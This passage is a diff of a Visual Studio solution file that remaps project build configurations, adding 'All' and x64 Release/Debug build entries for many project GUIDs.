+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Debug|x64.Build.0 = Debug|Win32
 		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|Win32.ActiveCfg = Release|Win32
 		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|Win32.Build.0 = Release|Win32
-		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|x64.ActiveCfg = Release|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Debug|Win32.ActiveCfg = Debug|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Debug|Win32.Build.0 = Debug|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Debug|x64.ActiveCfg = Debug|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Release|Win32.ActiveCfg = Release|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Release|Win32.Build.0 = Release|Win32
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}.Release|x64.ActiveCfg = Release|Win32
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|x64.ActiveCfg = Release|x64
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Release|x64.Build.0 = Release|x64
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.All|Win32.ActiveCfg = Release|x64
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.All|x64.ActiveCfg = Release|x64
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.All|x64.Build.0 = Release|x64
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Debug|Win32.ActiveCfg = Debug|Win32
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Debug|Win32.Build.0 = Debug|Win32
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Debug|x64.ActiveCfg = Debug|Win32
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Debug|x64.Build.0 = Debug|Win32
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Release|Win32.ActiveCfg = Release|Win32
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Release|Win32.Build.0 = Release|Win32
-		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Release|x64.ActiveCfg = Release|Win32
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Release|x64.ActiveCfg = Release|x64
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}.Release|x64.Build.0 = Release|x64
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.All|Win32.ActiveCfg = Release|x64
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.All|x64.ActiveCfg = Release|x64
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.All|x64.Build.0 = Release|x64
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Debug|Win32.ActiveCfg = Debug|Win32
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Debug|Win32.Build.0 = Debug|Win32
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Debug|x64.ActiveCfg = Debug|Win32
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Debug|x64.Build.0 = Debug|Win32
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Release|Win32.ActiveCfg = Release|Win32
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Release|Win32.Build.0 = Release|Win32
-		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Release|x64.ActiveCfg = Release|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Debug|Win32.ActiveCfg = Debug|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Debug|Win32.Build.0 = Debug|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Debug|x64.ActiveCfg = Debug|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Release|Win32.ActiveCfg = Release|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Release|Win32.Build.0 = Release|Win32
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}.Release|x64.ActiveCfg = Release|Win32
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Release|x64.ActiveCfg = Release|x64
+		{F057DA7F-79E5-4B00-845C-EF446EF055E3}.Release|x64.Build.0 = Release|x64
+		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.All|Win32.ActiveCfg = Release|x64
+		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.All|x64.ActiveCfg = Release|x64
+		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.All|x64.Build.0 = Release|x64
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Debug|Win32.ActiveCfg = Debug|Win32
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Debug|Win32.Build.0 = Debug|Win32
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Debug|x64.ActiveCfg = Debug|Win32
+		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Debug|x64.Build.0 = Debug|Win32
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Release|Win32.ActiveCfg = Release|Win32
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Release|Win32.Build.0 = Release|Win32
-		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Release|x64.ActiveCfg = Release|Win32
+		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Release|x64.ActiveCfg = Release|x64
+		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Release|x64.Build.0 = Release|x64
+		{5927104D-C14C-4AC8-925C-4AB681762E75}.All|Win32.ActiveCfg = Release|Win32
+		{5927104D-C14C-4AC8-925C-4AB681762E75}.All|Win32.Build.0 = Release|Win32
+		{5927104D-C14C-4AC8-925C-4AB681762E75}.All|x64.ActiveCfg = Release|Win32
 		{5927104D-C14C-4AC8-925C-4AB681762E75}.Debug|Win32.ActiveCfg = Debug|Win32
 		{5927104D-C14C-4AC8-925C-4AB681762E75}.Debug|Win32.Build.0 = Debug|Win32
 		{5927104D-C14C-4AC8-925C-4AB681762E75}.Debug|x64.ActiveCfg = Debug|Win32
+		{5927104D-C14C-4AC8-925C-4AB681762E75}.Debug|x64.Build.0 = Debug|Win32
 		{5927104D-C14C-4AC8-925C-4AB681762E75}.Release|Win32.ActiveCfg = Release|Win32
 		{5927104D-C14C-4AC8-925C-4AB681762E75}.Release|Win32.Build.0 = Release|Win32
 		{5927104D-C14C-4AC8-925C-4AB681762E75}.Release|x64.ActiveCfg = Release|Win32
+		{5927104D-C14C-4AC8-925C-4AB681762E75}.Release|x64.Build.0 = Release|Win32
+		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.All|Win32.ActiveCfg = Release|x64
+		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.All|x64.ActiveCfg = Release|x64
+		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.All|x64.Build.0 = Release|x64
 		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Debug|Win32.Build.0 = Debug|Win32
 		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Debug|x64.ActiveCfg = Debug|Win32
+		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Debug|x64.Build.0 = Debug|Win32
 		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Release|Win32.ActiveCfg = Release|Win32
 		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Release|Win32.Build.0 = Release|Win32
-		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Release|x64.ActiveCfg = Release|Win32
+		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Release|x64.ActiveCfg = Release|x64
+		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE}.Release|x64.Build.0 = Release|x64
+		{49C34584-B6DA-448F-83CF-27584DC9FC90}.All|Win32.ActiveCfg = Release|x64
+		{49C34584-B6DA-448F-83CF-27584DC9FC90}.All|x64.ActiveCfg = Release|x64
+		{49C34584-B6DA-448F-83CF-27584DC9FC90}.All|x64.Build.0 = Release|x64
 		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Debug|Win32.ActiveCfg = Debug|Win32
 		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Debug|Win32.Build.0 = Debug|Win32
 		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Debug|x64.ActiveCfg = Debug|Win32
+		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Debug|x64.Build.0 = Debug|Win32
 		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Release|Win32.ActiveCfg = Release|Win32
 		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Release|Win32.Build.0 = Release|Win32
-		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Release|x64.ActiveCfg = Release|Win32
+		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Release|x64.ActiveCfg = Release|x64
+		{49C34584-B6DA-448F-83CF-27584DC9FC90}.Release|x64.Build.0 = Release|x64
+		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.All|Win32.ActiveCfg = Release|x64
+		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.All|x64.ActiveCfg = Release|x64
+		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.All|x64.Build.0 = Release|x64
 		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Debug|Win32.ActiveCfg = Debug|Win32
 		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Debug|Win32.Build.0 = Debug|Win32
 		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Debug|x64.ActiveCfg = Debug|Win32
+		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Debug|x64.Build.0 = Debug|Win32
 		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Release|Win32.ActiveCfg = Release|Win32
 		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Release|Win32.Build.0 = Release|Win32
-		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Release|x64.ActiveCfg = Release|Win32
+		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Release|x64.ActiveCfg = Release|x64
+		{3D0370CA-BED2-4657-A475-32375CBCB6E4}.Release|x64.Build.0 = Release|x64
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.All|Win32.ActiveCfg = Debug|x64
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.All|x64.ActiveCfg = Debug|x64
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.All|x64.Build.0 = Debug|x64
 		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Debug|Win32.ActiveCfg = Debug|Win32
 		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Debug|Win32.Build.0 = Debug|Win32
 		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Debug|x64.ActiveCfg = Debug|Win32
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Debug|x64.Build.0 = Debug|Win32
 		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Release|Win32.ActiveCfg = Release|Win32
 		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Release|Win32.Build.0 = Release|Win32
-		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Release|x64.ActiveCfg = Release|Win32
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Release|x64.ActiveCfg = Release|x64
+		{87EE9DA4-DE1E-4448-8324-183C98DCA588}.Release|x64.Build.0 = Release|x64
+		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.All|Win32.ActiveCfg = Debug|x64
+		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.All|x64.ActiveCfg = Debug|x64
+		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.All|x64.Build.0 = Debug|x64
 		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Debug|Win32.ActiveCfg = Debug|Win32
 		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Debug|Win32.Build.0 = Debug|Win32
 		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Debug|x64.ActiveCfg = Debug|Win32
+		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Debug|x64.Build.0 = Debug|Win32
 		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Release|Win32.ActiveCfg = Release|Win32
 		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Release|Win32.Build.0 = Release|Win32
-		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Release|x64.ActiveCfg = Release|Win32
+		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Release|x64.ActiveCfg = Release|x64
+		{155844C3-EC5F-407F-97A4-A2DDADED9B2F}.Release|x64.Build.0 = Release|x64
+		{204FA0DE-305D-4414-AE2E-F195A23F390D}.All|Win32.ActiveCfg = Debug|x64
+		{204FA0DE-305D-4414-AE2E-F195A23F390D}.All|x64.ActiveCfg = Debug|x64
+		{204FA0DE-305D-4414-AE2E-F195A23F390D}.All|x64.Build.0 = Debug|x64
 		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Debug|Win32.ActiveCfg = Debug|Win32
 		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Debug|Win32.Build.0 = Debug|Win32
 		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Debug|x64.ActiveCfg = Debug|Win32
+		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Debug|x64.Build.0 = Debug|Win32
 		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Release|Win32.ActiveCfg = Release|Win32
 		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Release|Win32.Build.0 = Release|Win32
-		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Release|x64.ActiveCfg = Release|Win32
+		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Release|x64.ActiveCfg = Release|x64
+		{204FA0DE-305D-4414-AE2E-F195A23F390D}.Release|x64.Build.0 = Release|x64
+		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.All|Win32.ActiveCfg = Release|x64
+		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.All|x64.ActiveCfg = Release|x64
+		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.All|x64.Build.0 = Release|x64
 		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Debug|Win32.Build.0 = Debug|Win32
 		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Debug|x64.ActiveCfg = Debug|Win32
+		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Debug|x64.Build.0 = Debug|Win32
 		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Release|Win32.ActiveCfg = Release|Win32
 		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Release|Win32.Build.0 = Release|Win32
-		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Release|x64.ActiveCfg = Release|Win32
+		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Release|x64.ActiveCfg = Release|x64
+		{0DF3ABD0-DDC0-4265-B778-07C66780979B}.Release|x64.Build.0 = Release|x64
+		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.All|Win32.ActiveCfg = Release|x64
+		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.All|x64.ActiveCfg = Release|x64
+		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.All|x64.Build.0 = Release|x64
 		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Debug|Win32.ActiveCfg = Debug|Win32
 		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Debug|Win32.Build.0 = Debug|Win32
 		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Debug|x64.ActiveCfg = Debug|Win32
+		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Debug|x64.Build.0 = Debug|Win32
 		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Release|Win32.ActiveCfg = Release|Win32
 		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Release|Win32.Build.0 = Release|Win32
-		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Release|x64.ActiveCfg = Release|Win32
+		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Release|x64.ActiveCfg = Release|x64
+		{70A49BC2-7500-41D0-B75D-EDCC5BE987A0}.Release|x64.Build.0 = Release|x64
+		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.All|Win32.ActiveCfg = Release|Win32
+		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.All|Win32.Build.0 = Release|Win32
+		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.All|x64.ActiveCfg = Release|Win32
 		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Debug|Win32.ActiveCfg = Debug|Win32
 		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Debug|Win32.Build.0 = Debug|Win32
 		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Debug|x64.ActiveCfg = Debug|Win32
+		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Debug|x64.Build.0 = Debug|Win32
 		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Release|Win32.ActiveCfg = Release|Win32
 		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Release|Win32.Build.0 = Release|Win32
 		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Release|x64.ActiveCfg = Release|Win32
+		{8B3B4C4C-13C2-446C-BEB0-F412CC2CFB9A}.Release|x64.Build.0 = Release|Win32
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.All|Win32.ActiveCfg = Release DLL|x64
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.All|x64.ActiveCfg = Release DLL|x64
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.All|x64.Build.0 = Release DLL|x64
 		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Debug|Win32.ActiveCfg = Debug DLL|Win32
 		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Debug|Win32.Build.0 = Debug DLL|Win32
 		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Debug|x64.ActiveCfg = Debug DLL|Win32
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Debug|x64.Build.0 = Debug DLL|Win32
 		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Release|Win32.ActiveCfg = Release DLL|Win32
 		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Release|Win32.Build.0 = Release DLL|Win32
-		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Release|x64.ActiveCfg = Release|Win32
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Release|x64.ActiveCfg = Release DLL|x64
+		{DF018947-0FFF-4EB3-BDEE-441DC81DA7A4}.Release|x64.Build.0 = Release DLL|x64
+		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.All|Win32.ActiveCfg = Release Passthrough|x64
+		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.All|x64.ActiveCfg = Release Passthrough|x64
+		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.All|x64.Build.0 = Release Passthrough|x64
 		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Debug|Win32.ActiveCfg = Debug Passthrough|Win32
 		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Debug|Win32.Build.0 = Debug Passthrough|Win32
-		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Debug|x64.ActiveCfg = Debug|Win32
+		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Debug|x64.ActiveCfg = Debug Passthrough|Win32
+		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Debug|x64.Build.0 = Debug Passthrough|Win32
 		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Release|Win32.ActiveCfg = Release Passthrough|Win32
 		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Release|Win32.Build.0 = Release Passthrough|Win32
-		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Release|x64.ActiveCfg = Release|Win32
+		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Release|x64.ActiveCfg = Release Passthrough|x64
+		{FEA1EEF7-876F-48DE-88BF-C0E3E606D758}.Release|x64.Build.0 = Release Passthrough|x64
+		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.All|Win32.ActiveCfg = Release|x64
+		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.All|x64.ActiveCfg = Release|x64
+		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.All|x64.Build.0 = Release|x64
 		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Debug|Win32.ActiveCfg = Debug|Win32
 		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Debug|Win32.Build.0 = Debug|Win32
 		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Debug|x64.ActiveCfg = Debug|Win32
+		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Debug|x64.Build.0 = Debug|Win32
 		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Release|Win32.ActiveCfg = Release|Win32
 		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Release|Win32.Build.0 = Release|Win32
-		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Release|x64.ActiveCfg = Release|Win32
+		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Release|x64.ActiveCfg = Release|x64
+		{9254C4B0-6F60-42B6-BB3A-36D63FC001C7}.Release|x64.Build.0 = Release|x64
+		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.All|Win32.ActiveCfg = Release|x64
+		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.All|x64.ActiveCfg = Release|x64
+		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.All|x64.Build.0 = Release|x64
 		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Debug|Win32.ActiveCfg = Debug|Win32
 		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Debug|Win32.Build.0 = Debug|Win32
 		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Debug|x64.ActiveCfg = Debug|Win32
+		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Debug|x64.Build.0 = Debug|Win32
 		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Release|Win32.ActiveCfg = Release|Win32
 		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Release|Win32.Build.0 = Release|Win32
-		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Release|x64.ActiveCfg = Release|Win32
+		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Release|x64.ActiveCfg = Release|x64
+		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF}.Release|x64.Build.0 = Release|x64
+		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.All|Win32.ActiveCfg = Release|x64
+		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.All|x64.ActiveCfg = Release|x64
+		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.All|x64.Build.0 = Release|x64
 		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Debug|Win32.ActiveCfg = Debug|Win32
 		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Debug|Win32.Build.0 = Debug|Win32
 		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Debug|x64.ActiveCfg = Debug|Win32
+		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Debug|x64.Build.0 = Debug|Win32
 		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Release|Win32.ActiveCfg = Release|Win32
 		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Release|Win32.Build.0 = Release|Win32
-		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Release|x64.ActiveCfg = Release|Win32
+		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Release|x64.ActiveCfg = Release|x64
+		{8F992C49-6C51-412F-B2A3-34EAB708EB65}.Release|x64.Build.0 = Release|x64
+		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.All|Win32.ActiveCfg = Release|x64
+		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.All|x64.ActiveCfg = Release|x64
+		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.All|x64.Build.0 = Release|x64
 		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Debug|Win32.ActiveCfg = Debug|Win32
 		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Debug|Win32.Build.0 = Debug|Win32
 		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Debug|x64.ActiveCfg = Debug|Win32
+		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Debug|x64.Build.0 = Debug|Win32
 		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Release|Win32.ActiveCfg = Release|Win32
 		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Release|Win32.Build.0 = Release|Win32
-		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Release|x64.ActiveCfg = Release|Win32
+		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Release|x64.ActiveCfg = Release|x64
+		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Release|x64.Build.0 = Release|x64
+		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.All|Win32.ActiveCfg = Release|x64
+		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.All|x64.ActiveCfg = Release|x64
+		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.All|x64.Build.0 = Release|x64
 		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Debug|Win32.ActiveCfg = Debug|Win32
 		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Debug|Win32.Build.0 = Debug|Win32
 		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Debug|x64.ActiveCfg = Debug|Win32
+		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Debug|x64.Build.0 = Debug|Win32
 		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Release|Win32.ActiveCfg = Release|Win32
 		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Release|Win32.Build.0 = Release|Win32
-		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Release|x64.ActiveCfg = Release|Win32
+		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Release|x64.ActiveCfg = Release|x64
+		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Release|x64.Build.0 = Release|x64
+		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.All|Win32.ActiveCfg = Release|x64
+		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.All|x64.ActiveCfg = Release|x64
+		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.All|x64.Build.0 = Release|x64
 		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Debug|Win32.Build.0 = Debug|Win32
 		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Debug|x64.ActiveCfg = Debug|Win32
+		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Debug|x64.Build.0 = Debug|Win32
 		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Release|Win32.ActiveCfg = Release|Win32
 		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Release|Win32.Build.0 = Release|Win32
-		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Release|x64.ActiveCfg = Release|Win32
+		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Release|x64.ActiveCfg = Release|x64
+		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Release|x64.Build.0 = Release|x64
+		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.All|Win32.ActiveCfg = Release|x64
+		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.All|x64.ActiveCfg = Release|x64
+		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.All|x64.Build.0 = Release|x64
 		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Debug|Win32.ActiveCfg = Debug|Win32
 		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Debug|Win32.Build.0 = Debug|Win32
 		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Debug|x64.ActiveCfg = Debug|Win32
+		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Debug|x64.Build.0 = Debug|Win32
 		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Release|Win32.ActiveCfg = Release|Win32
 		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Release|Win32.Build.0 = Release|Win32
-		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Release|x64.ActiveCfg = Release|Win32
+		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Release|x64.ActiveCfg = Release|x64
+		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Release|x64.Build.0 = Release|x64
+		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.All|Win32.ActiveCfg = Release|x64
